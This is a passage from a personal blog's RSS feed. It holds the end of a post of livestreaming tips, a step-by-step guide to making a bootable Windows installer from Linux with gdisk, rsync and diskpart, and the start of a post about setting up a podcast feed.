&lt;p&gt;Don’t worry too much about your internet connection. Fast is great, but
my streams seem to be doing okay with a meager 5Mbps upload speed.&lt;/p&gt;

&lt;h1 id=&quot;content-and-structure&quot;&gt;Content and Structure&lt;/h1&gt;

&lt;p&gt;Probably one of the #1 questions I get is “what should I stream about”?
This one is tough, because there isn’t one good answer. But let me try
to give some pointers. Think about what you enjoy working on or talking
about, and what you think you’d be able to coach people along through.
And then stream that. Perhaps obviously, your streams will be best when
you are excited about what you’re streaming! Don’t worry too much about
what the viewers want to see — trying to guess what other people are
interested in is a losing game. In my case, I just picked one from my
pile of “stuff I wish existed but never have the time to do myself”, and
then did that.&lt;/p&gt;

&lt;p&gt;For programming streams in particular, the one bit of more concrete
advice I can give is that it’s good to not dive in the very deep end at
the start of a stream. Instead warm people up by explaining the problem
and letting them be a part of researching the solution. If you already
have a plan for what you’re going to implement and how, it’s unlikely
the audience is going to be able to follow along. In my case, my first
stream was basically “I need this thing, and would need to build it from
scratch, so let’s just do that together”. It included a lot of figuring
out how to do what I wanted to do on-stream, and I think that’s a good
thing.&lt;/p&gt;

&lt;p&gt;The key piece for any stream is to make sure you are talking, and
preferably explaining, as you go. Speak your thoughts aloud. If you sit
there quietly writing code, you’ll lose most viewers. This is perhaps
one of the most important parts of an interesting stream: don’t be
silent.&lt;/p&gt;

&lt;h1 id=&quot;announcements&quot;&gt;Announcements&lt;/h1&gt;

&lt;p&gt;People like to plan, and then forget things. Write a post ~1 week in
advance, and then post a brief reminder 24 hours before the stream
begins.&lt;/p&gt;

&lt;p&gt;Make your announcement self-contained. If you want people to share your
announcement, make it as easy as possible for them to do so. Include a
brief description of what you’ll be streaming, the date/time, and the
location. If you have space, you should also include a brief bit about
the intended audience and planned length.&lt;/p&gt;

&lt;p&gt;Remember people in other timezones. I tend to announce all streams in
UTC time, and then link the exact date/time on
&lt;a href=&quot;https://everytimezone.com/&quot;&gt;everytimezone.com&lt;/a&gt; so that people can
easily see what that time translates into where they are. The 24h
reminder also works well for that, since people can look at when the
post was made their time, and then just add 24h.&lt;/p&gt;

&lt;p&gt;Announce the recording when it’s ready. After your stream has concluded
and the recording of it is available online, write another brief post
that links to the original announcement, gives a brief recap of how it
went, and then links to the video.&lt;/p&gt;

&lt;h1 id=&quot;the-stream-itself&quot;&gt;The Stream Itself&lt;/h1&gt;

&lt;p&gt;Do a test stream! Things will inevitably go wrong the first time, so
have it be something that doesn’t matter. Invite a few people to be your
“viewers” so they can help you test on the receiving end.&lt;/p&gt;

&lt;p&gt;Start your stream ~10m early with a static screen (you can set this up
in OBS) showing some text like “Starts at 5pm UTC”. This lets viewers
who show up early know that they’re in the right place, and allows them
to start chatting before the session itself begins. I usually also jump
on a few minutes early with audio-only both to chat informally and to
test audio levels and chat.&lt;/p&gt;

&lt;p&gt;Use a separate browser window, and maybe even a separate browser
profile, for your streams. Your old tabs and history auto-complete can
be both revealing and distracting.&lt;/p&gt;

&lt;p&gt;Do not type passwords on-screen during your stream. Move the password
input off-screen before typing. If you’re paranoid (like me), set a
hotkey for muting your mic as well when you’re typing them in.&lt;/p&gt;

&lt;p&gt;Don’t show chat on screen. It takes up screen real-estate, and means
that people can’t opt out. Those who &lt;em&gt;really&lt;/em&gt; want it after the fact can
watch the saved live-stream (see below). Also saves you from when people
type weird things you want to ignore in chat.&lt;/p&gt;

&lt;p&gt;Increase your font size. Then increase it some more. People will be
watching your streams on small tablets, or even their phone, and at
1920x1080, your normal font size is going to be impossible to read.
Another good reason to do a test stream and get feedback!&lt;/p&gt;

&lt;p&gt;Avoid switching rapidly between dark and bright windows. If someone is
watching in a relatively dark room, this can be extremely jarring. Open
the windows side-by-side, or at least warn them that this will happen
before you do it.&lt;/p&gt;

&lt;p&gt;Do a quick audit of your OBS stream layout. It’s no good if your webcam
video overlay hides an important window on your screen for example. Try
out the main few views you will have on screen during the stream, and
see that the OBS output view looks reasonable.&lt;/p&gt;

&lt;p&gt;Record your stream locally when you start, and upload that to YouTube
after you’re done. The auto-saved version is affected by poor connection
stability and includes your “stream starting in 10m screen”, which is
just annoying. Make the uploaded version public, and the saved
live-stream version unlisted, then link to the live-stream version from
the recorded version for those who want to see chat.&lt;/p&gt;

&lt;p&gt;Happy streaming!&lt;/p&gt;

&lt;p&gt;Jon&lt;/p&gt;
</description>
        <pubDate>Fri, 27 Mar 2020 12:18:59 +0000</pubDate>
	<link>https://thesquareplanet.com/blog/livestream-tips/</link>
	<guid isPermaLink="true">https://thesquareplanet.com/blog/livestream-tips/</guid>
        
        
      </item>
      
    
      
      <item>
        <title>Installing Windows when all you have is Linux</title>
        <description>&lt;p&gt;Okay, so, you are trying to install Windows on a laptop or something for
your friend. But you use Linux, and don’t have a Windows box easily
accessible. You’re armed with a USB drive, a Linux system, a Windows
ISO, and little more. Now what?&lt;/p&gt;

&lt;p&gt;I’ll keep this one brief, because if you’re trying to do this, you
probably just want to get the damn thing working. And, like me, you are
quite possibly already annoyed at why the simple solutions don’t work.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If you are not using Linux and just came here because you got the error:&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Windows could not prepare the computer to boot into the next phase of installation&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;then just skip straight to step 6&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Depending on what you’ve tried so far, you may be in any one of these
stages:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;You &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dd&lt;/code&gt;ed the ISO onto the USB drive, and it won’t boot.&lt;/li&gt;
  &lt;li&gt;You created a single GPT FAT32 partition on the drive, tried to copy
the files from the ISO over, and found that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;install.wim&lt;/code&gt; was too
large to fit on a FAT32 system.&lt;/li&gt;
  &lt;li&gt;You created a single GPT NTFS (or maybe exFAT) partition on the
drive, copied over the files from the ISO, and found that the
computer wouldn’t boot it.&lt;/li&gt;
  &lt;li&gt;You tried to &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/split-a-windows-image--wim--file-to-span-across-multiple-dvds&quot;&gt;split the WIM&lt;/a&gt; and use FAT32, only to find that when
the installer starts (which it does), it then fails with &lt;a href=&quot;https://support.microsoft.com/en-us/help/2755139/a-media-driver-your-computer-needs-is-missing-or-a-required-cd-dvd-dri&quot;&gt;“A media
driver your computer needs is missing”&lt;/a&gt;. You found this surprising
since &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/install-windows-from-a-usb-flash-drive#troubleshooting-file-copy-fails&quot;&gt;Microsoft recommend you do this&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;You found &lt;a href=&quot;https://win10.guru/usb-install-media-with-larger-than-4gb-wim-file/&quot;&gt;this post&lt;/a&gt; (or maybe &lt;a href=&quot;https://techbit.ca/2019/02/creating-a-bootable-windows-10-uefi-usb-drive-using-linux/&quot;&gt;this one&lt;/a&gt;)
and tried to create both a FAT32 &lt;em&gt;and&lt;/em&gt; an NTFS partition. And
everything seemed really promising until you get the error “Windows
could not prepare the computer to boot into the next phase of
installation”, and you sag into your chair going “why is this so damn
hard?!”.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All right, so here’s what you have to do:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Format your USB drive as a GPT disk with two partitions, one FAT32
with GPT code &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ef00&lt;/code&gt;, the other NTFS with GPT code &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0700&lt;/code&gt;. Roughly:
    &lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;gdisk /dev/myusbdrive
&lt;span class=&quot;go&quot;&gt;o
n
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;&amp;lt;enter&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;&amp;lt;enter&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;go&quot;&gt;+1G
ef00
n
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;&amp;lt;enter&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;&amp;lt;enter&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;&amp;lt;enter&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;go&quot;&gt;0700
w
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;mkfs.fat &lt;span class=&quot;nt&quot;&gt;-F32&lt;/span&gt; /dev/myusbdrive1
&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;mkfs.ntfs &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; /dev/myusbdrive2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Mount the Windows ISO and the partitions:
    &lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo mkdir&lt;/span&gt; /tmp/iso
&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;mount &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; loop windows10-enterprise-1909-x64.iso /tmp/iso
&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo mkdir&lt;/span&gt; /mnt/&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;win,boot&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;mount /dev/myusbdrive1 /mnt/boot
&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;mount /dev/myusbdrive2 /mnt/win
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Copy over all the files to the NTFS partition. Copy over everything
&lt;strong&gt;except&lt;/strong&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sources&lt;/code&gt; to the FAT32 partition. Finally, copy over
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sources/boot.wim&lt;/code&gt; to the FAT32 partition. You’ll get some warnings
about copying permissions, but you can ignore those.
    &lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;rsync &lt;span class=&quot;nt&quot;&gt;-av&lt;/span&gt; /tmp/iso/ /mnt/win/
&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;rsync &lt;span class=&quot;nt&quot;&gt;-av&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--exclude&lt;/span&gt; sources /tmp/iso/ /mnt/boot/
&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo mkdir&lt;/span&gt; /mnt/boot/sources
&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo cp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt; /tmp/iso/sources/boot.wim /mnt/boot/sources/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
    &lt;p&gt;This is &lt;a href=&quot;https://win10.guru/usb-install-media-with-larger-than-4gb-wim-file/&quot;&gt;this trick&lt;/a&gt;, where we work around the FAT32 size
limitations by using the FAT32 partition as a “launch pad” into the
NTFS partition (which &lt;em&gt;can&lt;/em&gt; have large files).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;Unmount the USB drive
    &lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo sync&lt;/span&gt;
&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;umount /mnt/boot
&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;umount /mnt/win
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Plug it into the machine you want to install Windows on. You
probably want to reset the BIOS while you’re at it and enable secure
boot (in “setup” mode). At the very least, make sure you boot in
UEFI mode (not “legacy”). Boot from the USB drive — it should start
the installer.&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Now we’re going to &lt;em&gt;move&lt;/em&gt; the installer onto the drive we’re
installing onto! This is a &lt;a href=&quot;https://neosmart.net/wiki/setup-was-unable-to-create-a-new-system-partition/#Fix_2_Manually_create_the_boot_partition&quot;&gt;sneaky trick&lt;/a&gt; to work around the
Windows installer seemingly getting &lt;a href=&quot;https://answers.microsoft.com/en-us/windows/forum/all/windows-10-fresh-install-fails/f9614ae4-6dbd-4715-9a81-8586b16dfaf7?page=2&quot;&gt;very confused&lt;/a&gt; on UEFI systems
when there is more than one drive (like here, where our USB drive is
inserted). We’re basically going to replicate the install disk onto
the internal disk, and then run the installer from the internal disk
without the USB drive inserted. We want to do so in such a way that
the final install isn’t left with a bunch of empty space at the
beginning of the disk (which is hard to reclaim), so we’re going to
place the NTFS partition at the end. We also want to &lt;em&gt;combine&lt;/em&gt; it
with the split partition trick in case the machine cannot boot NTFS
partitions.&lt;/p&gt;

    &lt;p&gt;Here we go: press Shift + F10 to open a command prompt, then:&lt;/p&gt;
    &lt;div class=&quot;language-batch highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;diskpart&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;list&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;disk&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;disk&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;REM this should be your internal disk&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;list&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;part&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;REM this _clears_ the install disk, make sure you want to do this!&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;clean&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;REM now, we re-create the two-partition trick on the internal drive:&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;REM X below is in MB; use the size of the disk - 10GB&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;create&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;part&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;primary&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;X&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;create&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;part&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;primary&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;part&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;format&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;fs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;ntfs&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;quick&lt;/span&gt;
# &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;your&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;disk&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;large&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;FAT32&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;partitions&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;have&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;size&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;limit&lt;/span&gt;:
&lt;span class=&quot;kd&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;part&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;REM this should be the big partition&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;delete&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;part&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;create&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;part&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;primary&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;10000&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;part&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;REM check that this is still the big partition&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;format&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;fs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;fat32&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;REM now, we need to format them&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;list&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;volume&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;REM note down the drive letter for the USB drive.&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;REM we&apos;ll assume it&apos;s C: below&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;volume&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;REM the volume for the FAT32 partition&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;assign&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;letter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;f&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;volume&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;REM the volume for the NTFS partition&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;assign&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;letter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;n&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;REM all done&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
    &lt;p&gt;Now we need to set up the files like before&lt;/p&gt;
    &lt;div class=&quot;language-batch highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;xcopy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/H /E &lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;C&lt;/span&gt;:\ &lt;span class=&quot;kd&quot;&gt;N&lt;/span&gt;:\
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;copy&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;C&lt;/span&gt;:\autorun.inf &lt;span class=&quot;kd&quot;&gt;F&lt;/span&gt;:\
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;copy&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;C&lt;/span&gt;:\bootmgr &lt;span class=&quot;kd&quot;&gt;F&lt;/span&gt;:\
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;copy&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;C&lt;/span&gt;:\bootmgr.efi &lt;span class=&quot;kd&quot;&gt;F&lt;/span&gt;:\
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;copy&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;C&lt;/span&gt;:\setup.exe &lt;span class=&quot;kd&quot;&gt;F&lt;/span&gt;:\
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;xcopy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/H /E &lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;C&lt;/span&gt;:\boot &lt;span class=&quot;kd&quot;&gt;F&lt;/span&gt;:\boot &lt;span class=&quot;c&quot;&gt;REM answer D&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;xcopy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/H /E &lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;C&lt;/span&gt;:\efi &lt;span class=&quot;kd&quot;&gt;F&lt;/span&gt;:\efi &lt;span class=&quot;c&quot;&gt;REM answer D&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;xcopy&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/H /E &lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;C&lt;/span&gt;:\support &lt;span class=&quot;kd&quot;&gt;F&lt;/span&gt;:\support &lt;span class=&quot;c&quot;&gt;REM answer D&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;F&lt;/span&gt;:
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;sources&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;copy&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;C&lt;/span&gt;:\sources\boot.wim &lt;span class=&quot;kd&quot;&gt;F&lt;/span&gt;:\sources\
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
    &lt;p&gt;Phew, okay, now, click the little X in the installer to exit. When
the computer reboots, unplug the USB drive.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;We’re almost done. When the installer starts, proceed normally
until you get to the place where you’re given the option of a
“Custom” install. Choose it. When you’re given the partition
manager, select the partition at the start of the disk, and delete
it. Then, select the “unallocated space” as the installation target.&lt;/li&gt;
  &lt;li&gt;Finish installation (it should hopefully succeed!).&lt;/li&gt;
  &lt;li&gt;To reclaim the final bit of space, open up an Administrator command
prompt (Windows key → &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd&lt;/code&gt; → Ctrl + Shift + Enter), and run:
    &lt;div class=&quot;language-batch highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;diskpart&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;disk&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;REM make sure this is the disk with the NTFS partition&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;list&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;part&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;part&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;N&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;REM N should be the 10G NTFS partition&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;delete&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;part&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;list&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;volume&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;volume&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;M&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;REM M should be the volume immediately before N&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;extend&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Enjoy?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If this worked for you, or if you had to do something differently,
please let me know on &lt;a href=&quot;https://twitter.com/jonhoo&quot;&gt;Twitter&lt;/a&gt; or by
e-mail so I can update this accordingly :)&lt;/p&gt;

</description>
        <pubDate>Sun, 08 Mar 2020 13:22:58 +0000</pubDate>
	<link>https://thesquareplanet.com/blog/installing-windows-when-all-you-have-is-linux/</link>
	<guid isPermaLink="true">https://thesquareplanet.com/blog/installing-windows-when-all-you-have-is-linux/</guid>
        
        
      </item>
      
    
      
      <item>
        <title>My First Podcast: A Tale of a Broken Ecosystem</title>
        <description>&lt;p&gt;I’ve been playing around with the idea for a new podcast along with a
couple of other Rustaceans recently, and a little while back we decided
to go ahead and record an episode on the newly release Rust 1.36.0 (stay
tuned!). Yesterday, I spent some time trying to get all the “stuff” set
up to actually release the podcast, and it resulted in perhaps the most
frustrating few tech-related hours I’ve had in a few years.&lt;/p&gt;

&lt;p&gt;I decided I didn’t want anything fancy; I’d just upload the recorded
episode to &lt;a href=&quot;https://www.backblaze.com/cloud-storage&quot;&gt;Backblaze B2&lt;/a&gt;,
where I already have an account for backup purposes, and then use
&lt;a href=&quot;https://pages.github.com/&quot;&gt;GitHub Pages&lt;/a&gt; for a super-barebones website
and an RSS feed for the podcast episodes. Seems simple enough, right? I
just needed to figure out the feed stuff, and then I’d be good to go.&lt;/p&gt;

